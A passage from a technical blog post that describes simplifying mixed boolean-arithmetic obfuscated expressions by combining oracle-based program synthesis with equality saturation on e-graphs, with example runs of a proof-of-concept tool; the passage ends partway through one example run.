As previously mentioned, Souper relies on CEGIS to infer valid concrete values: It generates a templated query containing symbolic placeholders where the constants should fit and proceeds with asking for a solution to the SMT solver. Therefore, we need to obtain the same template using our only source of information: the observed I/O behaviour. The idea has been divided in an offline phase, taking place just once, and an online phase, taking place every time a sub-expression does not match the main oracle.

Offline phase:

  1. An ad-hoc oracle of size 8 bits, involving three variables and two constants in the range [0-255] is computed;
  2. Expressions evaluating to the same oracle key are filtered to remove semantical duplicates and added to the same bucket;
  3. The constants in the entries are replaced by symbolic placeholders and remaining duplicates are removed;
  4. The entries in each bucket, now referred to as templates, are saved in ascending size order.

Online phase:

  1. The I/O behavior of the sub-expression is truncated to 8 bits to compute a new oracle key used to query the ad-hoc oracle;
  2. If a match is found, the list of templates in the bucket is iterated and used to query the SMT solver attempting to derive full bitwidth constants;
  3. In case of success, the symbolic placeholder(s) in the candidate template are replaced by the constant(s) and the node is considered to be synthesized.

The high-level idea is to drive a full bitwidth sub-expression synthesis with truncated bitwidth behaviours. As expected, limitations arise when the behaviours are not representative enough, leading to the iteration of hundred of possibly invalid templates.

A New Ingredient: Equality Saturation

Equality saturation is an optimization technique proposed by Tate et al. in 2009, and it relies on the e-graph data structure designed by Gregory Nelson in his PhD thesis in 1980. Recently, Willsey et al. released an improved equality saturation implementation called egg, whose resources have been used as a base for this proof of concept.

Historically, it has been used as a first-class synthesis technique, enabling improvements in projects involving: 3D CAD programs, floating point or algebra expressions. In this post, we will see how also MBA expressions can be dramatically simplified, if we combine equality saturation with oracle-based synthesis.

Building Blocks

From an implementation perspective, an e-graph is a data structure used to represent a congruence relation over a set of expressions. It is made of equivalence classes (e-classes), which, in turn, contain equivalent nodes (e-nodes). Some similarities can be found between an AST node and an e-node; in fact, each e-node represents an operator or a value. However, its children, when present, are references to e-classes and not to other e-nodes. Each e-node is unique; if some sub-expressions of an AST are identical, they will end up being the same e-node. This guarantees a compact and efficient representation.

The following image depicts a simple e-graph populated with the expression (A * B) + (A * C).

Step 0

  • The circles (e0 to e5) represent the e-classes, which, in the initial state of the e-graph, have a unique edge connected to the single e-node part of an equivalence class. Additional edges from e-classes to e-nodes will be added once new equalities are discovered.
  • The rectangles (ADD, MUL, A, B, C) represent the e-nodes, which can be divided in values (A, B, C) and operators (ADD, MUL). Each child of an operator is connected to an e-class by an edge.
  • The A value, appearing twice in the expression, has been converted into a single e-node part of a single e-class (e1), following the aforementioned compact representation.
  • The e5 e-class can referred to as the head of the e-graph, effectively representing the topmost node in the expression’s AST.

An in-depth explanation about the inner workings of equality saturation and the e-graph structure can be found in the egg’s official documentation.

Why Do We Need Equality Saturation?

At this point, the careful reader may have guessed that the main goal, for MBA deobfuscation, would be for us to have the possibility to explore a large number—potentially hundred of thousands—of equivalent representations of the input expression and be able to locate the one best suiting the oracle-based synthesis attack. Thankfully, an e-graph will let us represent a huge number of semantical equivalence relations between syntactically different expressions.

Equality saturation can add information to an e-graph using a technique called term-rewriting. The process consists in syntactically matching parts of an expression and transforming them into equivalent ones. This is usually achieved in two steps: the matching and rewriting phase. The matching phase, that uses pattern matching to identify sub-expressions for which equivalent representations are known; the rewriting phase, that generates new representations for the matched sub-expressions.

Unluckily, term-rewriting is by design a destructive technique, as any information about the original expression is lost as soon as the rewrite to the new expression is done. This raises issues if multiple rewrites are possible for the same matched sub-expression, as only one of those must be selected to proceed. Projects like SSPAM or LLVM’s peephole optimizer rely on heuristics to find the best rewriting candidate, minimizing some cost function. However, this opens the door to another problem, known as phase-ordering; this problem deals with the question of what happens when applying some rewrites in different orders. Given the rewriting rules R0 and R1, it could be that applying R0 before R1 leads to a worse result compared to applying R1 before R0; there’s no easy way to solve the problem (in fact, this problem is NP-complete).

The ideal solution would be able to apply all possible rewrites at the same time, preserving the intermediate equivalent representations of the starting expression and deciding at the end which candidate is the best. No need to look any further, as this is exactly what equality saturation does.

Cost Computation and Candidate Extraction

The last part of the equality saturation process consists in the cost computation and extraction of the best representation of the input expression. As for the stochastic synthesis, the cost computation plays an important role in driving the selection of the useful candidate sub-expressions. Depending on the goal, the cost function could be prioritizing the selection of smaller or faster nodes, even though—for the rest of the post—the logic will be to select the smallest AST nodes, basically optimizing towards shorter expressions. Once the costs have been computed, the extraction phase visits the needed e-classes in the e-graph, selecting the best possible representation of the input expression.

As a bonus, computing the cost after each iteration gives visibility on the quality of the process; if the e-graph grows at a too fast pace, computing the costs offers an opportunity to extract the best candidate expression and start a new equality saturation from scratch. This is usually referred to as a full e-graph reset.

Equality Saturation Example

The images below represent a step-by-step equality saturation execution applied to the expression (B + A) - B, in an attempt to simplify it. A and B are names given to complex sub-expressions that cannot be synthesized. The following rewriting rules are being applied at each iteration:

  • (x + (-x)) => 0
  • (x + y) => (y + x)
  • (x - y) => (x + (-y))
  • (x + (y + z)) => ((x + y) + z)

This is the state of the e-graph right after the insertion of the expression to process.

Step 0

These are intermediate states of the e-graph where all the rules have been applied against the e-nodes present in the previous state of the e-graph, leading to the addition of new equalities. On the left image we can observe how the e-class e2 is representing the equivalence between the expressions (B + A) and (A + B), thanks to the second rule, and how the e-class e6 is representing the equivalence between the expressions (B + A) - B, (A + B) - B, (B + A) + (-B) and (A + B) + (-B), thanks to the combination of the second and third rules. On the right image we can instead observe how the e6 e-class turned into the e7 e-class with the addition of the equivalent representations (-B) + (B + A) and (-B) + (A + B), again thanks to the second rule.

Step 1 Step 2

This can be considered the final state of the e-graph, even though it isn’t fully saturated (no more rewrites are possible), as it provides enough knowledge for the program synthesis to be fully effective on the input expression.

Step 3

In the final step, the e-classes and e-nodes which are part of the simplified expression (0 + A) are highlighted. As expected, an e-class (e8) represents the knowledge that ((-B) + B) is equivalent to 0.

QSynthesis Extension

In the upcoming paragraphs, we take advantage of the equality saturation properties to overcome the MBA deobfuscation limitations highlighted in the previous section. First, we focus on increasing the synthesis opportunities. After attempting to extend the support to the constants synthesis, we finally repurpose the runtime information to enhance the saturation loop.

Expression Morphing

As learned thus far, the input expression may not be in the most amenable form to guarantee good synthesis opportunities; therefore, it is important to find a way to morph it accordingly and make sure its semantical correctness is preserved.

Relying on equality saturation, the expression can be inserted in an e-graph and transformed to obtain an increasing amount of syntactically different but semantically equivalent representations, with the hope that at least one of them will be more synthesizable than it originally was. The good news is that, given an e-graph preserves all the intermediate information, at any given time the best possible candidate expression can be extracted from the e-graph, meaning that, employing this approach, the obtainable result is never going to be worse compared to avoiding it.

Given the nature of an MBA expression is strongly related to the properties of the involved arithmetic (add, sub, mul, neg) and logical (and, or, xor, not) operations, the minimal set of selected rewriting rules are commutativity, associativity and distributivity. To these, a set of equality and normalization rules have been added (e.g. rewriting neg into not, pushing not to the leaves of the expression). The list of rewriting rules currently employed by the proof of concept can be found in the Appendix.

The following example shows how the application of three rewriting rules (commutativity, associativity and not normalization) turns an expression which cannot be synthesized by an oracle using two variables into one which can be synthesized.

Simplified with a two variables oracle and using three rules
python3 synth.py
eclasses #: 11
Input (cost = 16): (~(((x+y)+(~(((x+y)+x)+y)))+(-z)))
====================================================================================================
eclasses #: 16
Synthesized (cost = 5): ((x+y)+z)
====================================================================================================

Constants Harvesting

Constant synthesis is a well known hard problem, although, using the aforementioned rewriting rules, a set of constants not originally present in the obfuscated expression starts appearing in the e-graph. Obviously, some are generated through the simple negation rules, but others are obtained with the repeated application of a non-trivial combination of rewriting rules that, moving some sub-expressions next to each other, lead to new synthesis opportunities.

As expected, this positive side effect turned out to be insufficient in most cases, so a further attempt to use the new information to improve the synthesis at runtime has been done. After each matching phase, the e-graph is updated with the discovered equalities, making it possible to identify all the e-classes of unit cost representing a constant. At this point the constants can be used to compute a smaller ad-hoc runtime oracle, available from the next synthesis iteration.

During the experiments the runtime oracle has been built with a single operation involving one variable and one constant. Assuming K harvested constants, an oracle with N binary operations and M input samples, K×N×M output samples need to be computed to obtain K×N new oracle entries. The oracle computation time is usually negligible, as the amount of harvested constants is contained compared to the total amount of possible constants in the bitwidth of the input expression.

The following examples show the same obfuscated expression simplified using different options. First, using CEGIS with the support of the constants oracle, which leads to the solution in one iteration. Then, via constants harvesting using the runtime oracle, taking five iterations. Finally, with the default rewriting rules, that in nine iterations lead to a simplified version of the original expression, but not to the best possible representation. Depending on the expression under analysis, the CEGIS option may be overkill and too slow, while standard rewriting rules or constants harvesting could be the right choice.

Simplified via constants oracle (CEGIS)
python3 synth.py --use-constants-oracle
eclasses #: 84
Input (cost = 1979): ((((((((((((((((((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x3a)+(-0x51))&(-0xc))+(((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x63))+0x2e)&(-0x6c))-((((((((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x3a)+(-0x51))&(-0xc))+(((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x63))+0x2e)&(-0x1)))+((((((((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x3a)+(-0x51))&(-0xc))+(((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x63))+0x2e)&(-0x6c)))*0x67)+0xd)*0x2d)+(((((((((((((((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x3a)+(-0x51))&(-0xc))+(((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x63))+0x2e)&(-0x6c))-((((((((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x3a)+(-0x51))&(-0xc))+(((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x63))+0x2e)&(-0x1)))+((((((((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x3a)+(-0x51))&(-0xc))+(((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x63))+0x2e)&(-0x6c)))*0x67)+0xd)*(-0x52))|0x22)*(-0x1b)))+(-0x3e))-(-0x9))*(-0x13))&(-0x1))
====================================================================================================
eclasses #: 163
Synthesized (cost = 3): (x^0x5c)
====================================================================================================
Simplified via runtime oracle (harvesting)
python3 synth.py --use-constants-harvest
eclasses #: 84
Input (cost = 1979): ((((((((((((((((((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x3a)+(-0x51))&(-0xc))+(((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x63))+0x2e)&(-0x6c))-((((((((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x3a)+(-0x51))&(-0xc))+(((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x63))+0x2e)&(-0x1)))+((((((((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x3a)+(-0x51))&(-0xc))+(((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x63))+0x2e)&(-0x6c)))*0x67)+0xd)*0x2d)+(((((((((((((((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x3a)+(-0x51))&(-0xc))+(((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x63))+0x2e)&(-0x6c))-((((((((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x3a)+(-0x51))&(-0xc))+(((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x63))+0x2e)&(-0x1)))+((((((((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x3a)+(-0x51))&(-0xc))+(((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x63))+0x2e)&(-0x6c)))*0x67)+0xd)*(-0x52))|0x22)*(-0x1b)))+(-0x3e))-(-0x9))*(-0x13))&(-0x1))
====================================================================================================
eclasses #: 132
